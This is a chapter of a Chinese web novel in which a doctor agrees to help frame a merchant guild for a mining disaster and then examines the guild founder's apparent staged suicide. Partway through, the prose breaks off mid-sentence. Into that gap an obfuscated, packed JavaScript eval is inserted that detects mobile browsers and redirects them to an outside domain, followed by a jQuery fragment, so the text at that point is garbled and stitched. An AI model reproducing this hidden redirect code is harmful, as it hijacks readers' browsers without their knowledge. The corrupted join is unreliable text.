黄昏时分,当温姚结束了一台手术,脱下手套和防护向外走时,实验室的门无声地滑开了。
叶宽站在门外。
他换下了白大褂,穿着一套剪裁得体的深灰色西装,整个人散发着从容与压迫感。
“温医生,没想到这么快你就又投入到工作中了。”
“我习惯了。”温姚擦拭着手中的器械,头也不回。
“我今天来,是想和你谈一件事。”叶宽开门见山,他走到温姚面前,将一份电子文件投影在她面前的实验台上,“这是我让人对那个‘悲伤猪’罐头进行的初步分析报告。结果很有趣,里面含有一种未知的、结构复杂的神经毒素,其临床效用与矿工们表现出的症状高度吻合。”
温姚瞥了一眼那份被刻意优化过的报告,没有作声。
“段家已经焦头烂额,他们需要一个替罪羊,一个能平息民众怒火、又能让他们从这场灾难中体面脱身的理由。”叶宽的嘴角勾起一抹冷意,“而万里商会,就是最完美的那个。我需要你,以权威医学专家的身份站出来,协助我和段家,公开指认万里商会提供的罐头,就是导致矿难伤亡扩大的罪魁祸首。”
温姚终于停下了手中的动作,她转过身,直视着叶宽的眼睛:“我?你有那么多人选,为什么是我?”
叶宽似乎料到她会这么问,神情自若:“我知道,温医生只是作为小繁的课题组成员来到这里,愿意帮忙救治伤员我们已经是感激不尽。也正是因为如此,温医生和叶家没有直接关系,同样的,做成了这件事,段家也会非常感激温医生你的。”
温姚却了无生趣地转过头,似乎对这个回答很不满意。
她顿了顿,又问:“你们一开始,为什么要隐瞒矿工神志不清的病症?”
“因为在没有找到确切的病原体和可控的治疗方案之前,贸然公布一种无法治愈的新型大范围疾病,极有可能待来民众对流行病的揣测,从而导致大规模恐慌。那对任何人都没有好处。”
小八在她耳边低语:“翻译一下,在找到能把这坨屎完美地扣在别人头上之前,我们得先假装没看见这坨屎。这些家伙,真是教科书级别的伪君子。”
而温姚的心中此刻已然明了。
原来他们早就知道腐脑症的存在,甚至可能已经暗中观察了很久。
从沉降区那些零星的患者,到这次矿难的高压环境下呈现出明显的疾患症状,他们一直在冷眼旁观。
而他们之所以默许这种慢性毒药在底层蔓延,不是因为他们无能为力,而是因为这件事本身对他们而言并没有直接的威胁。甚至,其中可能还隐藏着某种一本万利的商机,或者更深的阴谋。
直到矿难发生,段家这艘巨轮撞上了冰山,他们才终于决定顺着温姚的水,推动将这枚早已埋下的棋子——万里商会,作为转移危机、重新洗牌的筹码。
这不是为了正义,这是一场冷血的政治猎杀。
不过,也确实能达到温姚颠覆万里商会的目的。
“我能得到什么?”温姚平静地问。
“仁心医院的终身高级研究员职位,无限制的实验室使用权限,以及……”叶宽顿了顿,“叶家和段家共同的人情。在天空岛,这个承诺的价值,超乎你的想象。”
温姚沉默了片刻,点了点头:“可以。”
……
不出所料,上层社会的机器一旦开动,其效率是惊人的。
短短几个小时后,天空岛所有的新闻媒体,无论是官方的全息频道还是天行区的私人媒体,都铺天盖地地开始报道一则爆炸性新闻——【震惊!13号矿难另有隐情!权威医学专家证实,万里商会提供的“特供”罐头含有致命神经毒素!】
新闻中,叶宽以仁心医院副院长的身份,公布了那份分析报告。
同时,段家则立刻表示,他们也是受害者,将对万里商会提起最高级别的诉讼。
而温姚的名字则作为“无意发现真相的权威专家”的证明,出现在每一篇报道的显眼位置。
舆论瞬间被点燃,民众的怒火从对段家的指责,完美地转移到了对黑心商人万里商会的唾骂上。
然而,就在这场舆论风暴被推向最高潮时,另一条更加惊人的消息,如同一颗深水炸弹,再次引爆了整个天空岛。
——万里商会的创始人,神秘的聪老板,在自己的办公室内畏罪自杀!
消息来得太快,太巧,巧合得像一出早已排练好的戏剧。
当温姚和叶宽乘坐专车抵达万里商会总部大楼时,这里已经被巡防队围得水泄不通,闪烁的红蓝警灯将大楼玻璃幕墙映照得一片诡谲。
他们刚下车,另一列更加气派的黑色车队便呼啸而至。
车门打开,段少衡在一众护卫的簇拥下走了下来。他穿着一身笔挺的军装,面容冷峻,看到叶宽,两人都只是不咸不淡地点了点头。
三人没有过多交流,在巡防队长的引领下,一同走进了这栋奢华却死气沉沉的大楼。
聪老板的办公室在顶层。电梯门打开,内部办公室的装潢极尽奢华,巨大的落地窗外是整个天行区的璀璨夜景。
然而,此刻所有的浮华都被房间中央的景象所打破。
一个男人趴在巨大的黑檀木办公桌上,身下的名贵地毯被染成了暗红色。
他的太阳穴上有一个焦黑的洞口,手中还无力地握着一把高功率的能量手枪。桌上,散落着一份写了一半的、字迹潦草的“忏悔书”。
因为需要等到段少衡亲自过来才能取证,现场自发现起就没有动过。
发现聪老板死亡的是一个刚来到公司不久的实习员工,原本只是个搬货的,口供中说只是因为老板加了人倒咖啡,而秘书和其他人都不在,就使唤了他。
这里的办公室没有监控,也无法辨别他说的话的真伪,不过门口确实有一个被打碎的咖啡杯,和一地的褐色液体。
温姚的目光第一时间落在了那具尸体上。
这个所谓的聪老板,是一个再普通不过的中年人类。地中海发型,微胖的身材,穿着一身昂贵的西装。
可是,究竟是哪里让她觉得不对劲?
温姚说不上来。
也或许是因为,这个男人的面容比起老板来说,更像是她今
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414755|184703||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天在医院里看到的忙到一刻不停的临床实习生,有些憔悴、粗糙。
与此同时,她的脑海中瞬间闪过无数画面——那个如同基因工厂般庞大精密的猪人培育基地;那些被当成耗材一样榨取、屠宰的猪人幼崽;还有报告里那个被精心培养的猪人亲信,铁柱。
对了,一个视猪人为草芥的人类,又怎么会费劲心机寻找一个智力正常的猪人,再把他培养成自己最得力的干将?
温姚的视线开始快速扫视整个办公室。这里的陈设虽然奢华,却处处透着一种不协调感。
那张老板椅,异常的宽大和低矮,椅背和扶手上覆盖着最顶级的兽皮,但支撑结构却用的是坚硬的合金。
一个大胆的推论在她心中成型——这个办公室的主人,根本不是人类。
真正的聪老板,或许就是那个她一直在寻找的“始祖样本”,一个拥有高度智慧、懂得伪装和权谋的猪人。
而眼前这个畏罪自杀的人类,不过是一个被推出来顶罪的替死鬼。
就在这时,一名巡防队的法医官走过来,对段少衡和叶宽低声汇报道:“死者身份已确认,名叫钱德,是万里商会财务部的一名普通会计。根据他的个人档案,他……”
法医的话还没说完,办公室的门就被人猛地撞开了。
“老板!!”
贺来连滚带爬地冲了进来,他衣衫不整,头发凌乱,额头上满是汗水。
当他看到温姚赫然站在叶宽和段少衡身边时,脸上不觉闪过震惊。
但他很快便调整过来,扑到尸体旁,发出一阵撕心裂肺的干嚎:“老板!您怎么这么想不开啊!”
他这番表演,让在场所有人都皱起了眉头。
“你说他是聪老板?”段少衡冷冷地开口,指着法医手中的身份报告,“可记录显示,他只是一个叫钱德的会计。”
“没错!他就是我老板!”贺来抬起头,脸上挂着泪痕,语气却异常坚定,“我们老板一向低调,从不以真面目示人,一直用钱德的身份在公司里活动,就是为了掩人耳目!我也是他最信任的几个心腹之一,才知道这个秘密!”
叶宽和段少衡对视一眼,不置可否。
温姚冷眼看着贺来的表演,突然开口:“你到现在才过来,刚才在哪?”
贺来的身体僵了一下,他擦了把眼泪,慌忙回答:“我……我在家!我刚从家里赶过来!一听到新闻就……就马上跑来了!”
“是吗?”温姚的目光不动声色地扫视着他。
她注意到,贺来后面的裤脚有一块是湿的,并且他露出的手上,食指的指关节还沾染了一些黑色的东西。
贺来被温姚直白的审视看得有些尴尬和恼火,他猛地抬起头,看向温姚:
“说起来,我认识这位小姐,”他的声音陡然拔高,“温小姐,好久不见,前段时间我们还在城外的禁区附近见过面,当时您还抱着一只很别致的黑猫,真是让人印象深刻啊!只是为什么说好一起进城,你没有身份却跑了进来,还让我怎么找也找不到呢?”
话音落下,叶宽和段少衡的目光瞬间聚焦在了温姚的身上。